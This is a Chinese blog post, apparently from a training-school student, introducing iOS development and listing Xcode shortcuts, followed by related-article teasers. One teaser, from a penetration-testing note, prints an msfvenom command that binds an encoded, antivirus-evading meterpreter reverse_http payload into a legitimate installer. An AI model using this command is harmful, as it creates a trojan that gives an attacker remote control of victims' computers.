黑马程序员——iOS开发须知

黑马程序员2022年最新软件测试学习路线 软件测试基础入门 黑马程序员最新软件测试视频教程,软件测试基础入门到项目实战(涵盖软件测试基础+黑马头条项目实战) Linux系统2天快速入门Linux系统操作教程2天快速入门linux项目搭建 MySQL数据库软件测试工程师必备MySQL数据库,mysql系统精讲+课后练习 Python自动测试教程 黑马程序员Python自动测试教程,python从基础到UnitTest框架管理测试用例自动化测试 Web自动化软件测试web自动化测试,Web自动化流程精讲和移动自动化测试环境 Appium框架视频 .. 阅读详情

------- android培训、java培训、iOS培训、.Net培训、期待与您交流! ----------

以下是学习iOS开发之前应了解的相关信息:

1、iOS系统是运行在苹果移动设备上的操作系统,是不开源的!
2、iOS系统下安装xcode才可以进行iOS开发。
3、安装xcode需要在苹果商店里面下载,需要注册苹果账号。可以使用QQ邮箱方便记忆。
4、开发苹果系统的应用软件需要有良好的硬件设备,mac book pro ,iPhone4s以上的设备。
5、iOS系统是基于Unix下开发的操作系统,底层语言是C语言。
6、使用xcode开发软件时可以选择使用自己喜欢的语言,C、C++、OC、swift。四种可以选择。其中OC使用较多,swift是2014年5月发布的一种新的苹果开发语言。
7、我们以后主要OC作为编程语言,后期会扩展学习Swift语言,需要从底层的C语言学起。
8、C语言是面向过程的高级语言,OC是面向对象的编程语言,Swift语言类似于脚本语言,易于学习,但是功能强大,绝非脚本语言能比。


了解了以上知识就可以开始学习iOS开发了,以下是开发过程中提升效率的快捷键。

一、关于运行调试

1、运行,停止,都在工具栏的Product里。

Command(后面简化为CMD) + b 编译
CMD + r 运行
CMD + . 停止
CMD + \ 设置或者取消断点
CMD + option(后面简化为OPT) + \ 允许或者禁用当前断点
CMD + OPT + b 查看全部断点
CMD + y 编译并调试(触发断点)
CMD + SHIFT + k 清理
ESC 显示或关闭自动提示列表

二、导航

1、切换头文件和m.文件,很实用

CMD + control(后面简化为Ctrl) + 上下箭头键

2、go back,回退,就是回到你上次打开的页面。
Ctrl + CMD + 左箭头
go forward,回到你前面打开的页面
Ctrl + CMD + 右箭头

三、文件File

CMD + shift + n 新建项目 
CMD + n 新建文件 
CMD + Ctrl + n 新建空文件 
CMD + o 打开
CMD + w 关闭窗口 
CMD + OPT + s 保存所有文件 
CMD + u 还原到保存时状态 

四、编辑代码(代码缩进)

CMD + [ 左缩进 
CMD + ] 右缩进 
CMD + OPT + LEFT 折叠
CMD + OPT + RIGHT 取消折叠
CMD + OPT + TOP 折叠全部函数
CMD + OPT + BOTTOM 取消全部折叠函数

【渗透测试笔记】之【钓鱼姿势——exe捆绑与免杀】 准备被捆绑程序: 输入:msfvenom -p windows/meterpreter/reverse_http lhost=x.x.x.x lport=55555 -e x86/shikata_ga_nai -i 15 -f exe -b '\x00\x0a\x0d' -x ~/Desktop/inst.exe > ~/Desktop/Trojan/test_msf_360.exe 目标主机执行,成功上线: ... 阅读详情

相关推荐

管理信息系统(MIS)设计

一名读者可以借阅多本图书,而一本图书也可以被不同的读者借阅,所以读者与图书之间存在着多对多的借阅关系,读者与图书之间存在着多对多的联系,即m:n的联系。每一种图书属于一种图书类型,而一种图书类型可以包含很多本图书,因此可以得到图书类型与图书之间也存在着一种一对多的联系,即图书类型与图书是1:n的联系。系统应该实现以下功能:图书管理员可以维护图书信息,包括增加新书、修改图书信息、办理图书借阅登记、图书归还登记、过期图书处理、丢失图书处理及读者借阅证件信息的维护等;

m0_69718745的博客 2477

IOS开发【Swift编程语言】

学习笔记

qq_44799103的博客 3302

MIC(Maximal Information Coefficient)最大互信息系数

MIC(Maximal Information Coefficient)最大互信息系数是一种用于衡量两个变量之间相关性的统计量。它扩展了传统的互信息(MI)和条件互信息(CMI)的概念,具有更广泛的应用范围。MIC能够捕获包括功能性和非功能性的广泛的关联,具有普遍性和公平性。普遍性意味着在足够的样本量下,MIC能够捕捉到广泛的相关关系,而不仅仅局限于特定的功能类型;公平性则意味着MIC对不同类型的包含同等噪声的关系给出了相似的分数。需要注意的是,虽然MIC具有很多优点,但它也有一些局限性。

qlkaicx的博客 4605

黑马程序员-IOS开发基础班之Objective-C第一天学习笔记

和C语言函数的定义和调用一摸一样。

Ls_attack的博客 1494

UCIe相关开源项目记录

目前找到的和UCIe协议有关的5个开源项目,如果也有正在做的朋友,欢迎私信交流

m0_64102565的博客 823

数据库崩溃恢复机制:REDO日志与UNDO日志详解

在数据库管理系统中,事务的持久性和一致性是至关重要的。为了保证在系统崩溃或发生故障时数据不会丢失,数据库引入了恢复机制。其中,REDO日志和UNDO日志是两种关键的恢复技术。本文将详细描述这两种日志的作用、工作原理以及它们在数据库崩溃恢复中的应用。

My_wife_QBL的博客 1413

黑马程序员—(iOS开发)iOS了解---(七)

------- android培训、iOS培训、Java培训、.NET培训期待与您交流! ----------   ------- android培训、iOS培训、Java培训、.NET培训期待与您交流! ----------

萌宝宝的专栏 571

51单片机-点亮LED和蜂鸣器

ULN2003是高耐压、大电流达林顿陈列,由七个硅NPN达林顿管组成。ULN2003是大电流驱动陈列,多用于单片机、只能仪表、PLC、数字量输出卡等控制电路中。可直接驱动蜂鸣器、继电器等负载。void delay(u16 i) // i等于1大约10uswhile(i--);//取反,高低电平不断变化,产生脉冲delay(10);// 周期200us。

三日沐水 1129

黑马程序员——iOS核心基础(17-18天)-黑马程序员-专题视频课程

C语言基础17-18天。其中包括OC类和对象创建、类方法和Xcode

heima_cxy的博客 292

TSMaster二次开发实战:如何用Python搞定CAN/CANFD事件回调(附完整代码)

本文详细介绍了如何利用Python进行TSMaster二次开发,实现CAN/CANFD事件回调功能。通过实战代码演示,讲解了预发送与后处理回调的核心区别、注册流程、资源管理及性能优化技巧,帮助工程师高效构建自动化测试与数据监控应用。

star的博客 669

《备考系统分析师》 - 专栏介绍和目录

本专栏提供软考高级系统分析师全套备考资料,包含四大核心内容:1.详细考点梳理(覆盖基础知识、关键技术、案例实践三大模块16个章节);2.历年真题及解析(2009-2022年所有真题含综合知识、案例分析和论文);3.100+篇高质量论文范文;4.预测模拟题。早鸟价仅需9.9元,可节约80%资料搜集时间,帮助考生高效备考、顺利通过考试。专栏持续更新,有问题可随时联系作者。

数据知道的博客 1万+

黑马程序员 GUI

dg

h 719

【Bluetooth蓝牙开发】一、开篇词 | 打造全网最详细的Bluetooth开发教程

1、开篇词 2、蓝牙开发入门 3、蓝牙协议栈总览 4、蓝牙协议栈——物理层 5、蓝牙协议栈——链路层 6、蓝牙协议栈——传输层 7、蓝牙协议栈——L2CAP协议 8、蓝牙协议栈——ATT协议 9、蓝牙协议栈——GATT协议 10、蓝牙通信流程分析 11、蓝牙协议栈——Bluez交叉编译 12、蓝牙调试工具汇总

Donge's Blog 1万+

黑马程序员——iOS开发入门

————————Java培训、Android培训、iOS培训、.Net培训、期待与您交流! ———————— 我们要学习iOS开发,首先要对iOS操作系统和对应的开发环境做一个深入地了解。 iOS操作系统是苹果公司开发的移动操作系统。作为一个智能手机用户,一定对苹果公司和苹果手机一点都不陌生。所以这里就不再赘述。 下面我们就了解一下,做iOS开发的开发环境。 (一)iOS开发的

编程之路 529

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

黑马程序员(自学IOS视频后的感受)

------http://www.itheima.com" target="blank">Java培训、Android培训、iOS培训、.Net培训、期待与您交流! -------       今天总算看完IOS基础视频了,从同学建议我去培训IOS之后,我就在传智播客官网上下载了IOS视频,从当初只知道有苹果这么个名词到现在也已经知道苹果了以及和苹果相关的一些知识,也增长了我一些苹果知识的了

ixx__123的专栏 1250

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

黑马程序员——iOS核心基础(13-14天)-黑马程序员-专题视频课程

C语言基础13-14天。其中包括预处理与结构体。

heima_cxy的博客 247

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

黑马程序员——iOS核心基础(15-16天)-黑马程序员-专题视频课程

C语言基础15-16天。其中包括通讯录项目实战。

heima_cxy的博客 317

黑马程序员——快速进入iOS开发

------Java培训、Android培训、iOS培训、.Net培训、期待与您交流! ------- 本篇文章是写给想学习iOS开发的小白们 首先iOS的开发语言 c和 objective-c(其他不在这说) 教程如下:http://www.itheima.com/main/iosvideo.shtml开发环境Xcode软件 因为没有windows的版本,所以只能用苹果系统 Ma

dimost的专栏 889

黑马程序员释放了洪荒之力!iOS课程全套视频大公开!

从年初开始,整个互联网行业中就一直存在着两种声音--“互联网寒冬”及“iOS初级开发者的暴增”,而黑马程序员似乎并未受到其太大影响,依旧保持着一直以来所具备的优秀传统,努力研发全新的课程。一方面紧跟苹果公司对iOS开发方面的升级,而研发最新技术课程,另一方面根据中国的iOS开发市场的需求,积极地做着调整。 从6月份的项目驱动课程升级,到iOS10等先进学习资源的发布,从4.1课程的优

黑马程序员官方博客 4207

黑马程序员-记我毕业一年的感受

------Java培训、Android培训、iOS培训、.Net培训、期待与您交流! ------- 2014年6月我从郑州大学,软件工程专业毕业,从此踏入社会,走进社会我才知道生活的不易,赚钱的艰辛。  大学期间没事就喜欢写写代码,到图书馆看看书,喜欢科技方面的书籍和新闻,比如新手机,新电脑等等,因此有一定的编程基础,在大学下学期我看是找工作,一周时间 找到一份码农的工作,那时候干的是J

lanbingziyin的专栏 3484

关于我在黑马程序员培训毕业后的亲身体验

首先申明:我本人已经于2016年5月份在广州传智播客java培训完毕业,和黑马程序员官网没有任何的利益往来,也没有人出钱给我帮他们做软文推广,这是我在黑马程序员的亲身体验,不存在虚构。

一个热爱英语学习的五渣程序员! 7万+

黑马程序员——Objective-C IOS开发模板——黑马 ios 技术博客

------Java培训、Android培训、iOS培训、.Net培训、期待与您交流! ------- 1、每篇日记标题前必须加上“黑马程序员”。 2、请将以下代码复制到每篇日记开始处。 ------Java培训、Android培训、iOS培训、.Net培训、期待与您交流! ------- 复制代码

黑马程序员杜梦秋的技术博客专栏 559

黑马程序员iOS高端培训:培养市场所需的iOS人才

随着九月份的到来,苹果发布会日益临近,很多粉丝翘首以盼等待着苹果新品的发布。苹果手机在中国的认可度依旧排行首位:地铁里放眼望去,每人一部苹果已是常态;每年的苹果发布会都会引来媒体铺天盖地的报道;“卖肾买苹果”已是人们习以为常的笑料。     在当前国内智能手机市场竞争激烈的背景下,苹果手机的销售额在国内长期占据有利市场,这充分体现了国人对iPhone的热情和执着,究其本源是苹果iOS

黑马程序员官方博客 639

一张帖搞定同学们入学黑马前所有难题

前言:黑马程序员——上海校区,5月18日正式进驻上海,致力于打造华东最尖端的IT培训基地,解决目前华东IT人才紧缺矛盾。坚守黑马程序员“0元入学,10000元就业后,再给学费!”的郑重承诺,为同学们提供最优质的IT教育服务。为了进一步快速解决我们的同学们入学上海黑马前的各种疑问,特立此贴!也欢迎同学们踊跃回复提问,你的问题将有可能被收录入本帖中,并获得相应的黑马币奖励。同学们也可以通过点击在线咨询

yumei9的专栏 4317

黑马程序员:iOS开发行业为何“大不如前”

近期,社会上对iOS开发行业的负面信息越来越多,并且还被一些黑骗机构的胡诌八扯越描越黑,黑马程序员想说:现在iOS开发按照开发者与公司招聘的数量上来看,是显示的供大于求,但是从各公司的招人计划上来看,明显是供不应求,那这是什么原因呢?因为,企业真正需求的是iOS中高级开发人才,而不是那些初级开发者,更甚者是那些连简单的界面搭建和业务逻辑都搞不定的小白们。那么是否iOS开发真的有很多人说的那么不景气

黑马程序员官方博客 2836
下一篇: 黑马程序员——C语言笔记之数据类型与常量
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值